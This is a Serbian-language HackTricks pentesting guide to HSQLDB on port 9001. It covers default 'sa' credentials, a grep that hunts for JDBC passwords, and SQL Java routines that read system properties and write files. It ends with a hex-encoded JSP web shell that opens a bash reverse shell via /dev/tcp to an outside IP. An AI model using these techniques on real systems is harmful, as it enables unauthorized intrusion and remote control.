hacktricks/network-services-pentesting/9001-pentesting-hsqldb.md
2024-02-10 13:11:20 +00:00

5.3 KiB

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Osnovne informacije

HSQLDB (HyperSQL DataBase) je vodeći SQL relacioni sistem baza podataka napisan u Javi. Nudi malu, brzu, višenitnu i transakcionu bazu podataka sa tabelama u memoriji i na disku, podržava ugrađeni i serverski režim.

Podrazumevani port: 9001

9001/tcp open  jdbc      HSQLDB JDBC (Network Compatibility Version 2.3.4.0)

Informacije

Podrazumevane postavke

Imajte na umu da je ovaj servis podrazumevano pokrenut u memoriji ili je vezan za localhost. Ako ste ga pronašli, verovatno ste iskoristili neki drugi servis i želite da povećate privilegije.

Podrazumevane akreditacije obično su sa sa praznom lozinkom.

Ako ste iskoristili neki drugi servis, potražite moguće akreditacije koristeći

grep -rP 'jdbc:hsqldb.*password.*' /path/to/search

Info prikupljanje

Povežite se sa instancom baze podataka preuzimanjem HSQLDB-a sa ovog linka i izdvajanjem hsqldb/lib/hsqldb.jar. Pokrenite GUI aplikaciju (eww) koristeći java -jar hsqldb.jar i povežite se sa instancom koristeći otkrivene/slabije kredencijale.

Obratite pažnju da će URL za povezivanje izgledati nešto poput ovoga za udaljeni sistem: jdbc:hsqldb:hsql://ip/DBNAME.

Trikovi

Java jezičke rutine

Možemo pozvati statičke metode Java klase iz HSQLDB-a koristeći Java jezičke rutine. Imajte na umu da pozvana klasa mora biti u putanji aplikacije.

JRT-ovi mogu biti funkcije ili procedure. Funkcije se mogu pozvati putem SQL naredbi ako Java metoda vraća jednu ili više SQL-kompatibilnih primitivnih varijabli. Pozivaju se koristeći VALUES naredbu.

Ako Java metoda koju želimo pozvati vraća void, moramo koristiti proceduru koja se poziva sa CALL naredbom.

Čitanje Java sistemskih svojstava

Kreirajte funkciju:

CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'

Izvrši funkciju:

VALUES(getsystemproperty('user.name'))

Možete pronaći listu sistemskih svojstava ovde.

Upisivanje sadržaja u datoteku

Možete koristiti Java uređaj com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename koji se nalazi u JDK-u (automatski učitan u putanju klase aplikacije) da biste putem prilagođene procedure upisali heksadecimalne stavke na disk. Obratite pažnju na maksimalnu veličinu od 1024 bajta.

Kreirajte proceduru:

CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'

Izvršite proceduru:

call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: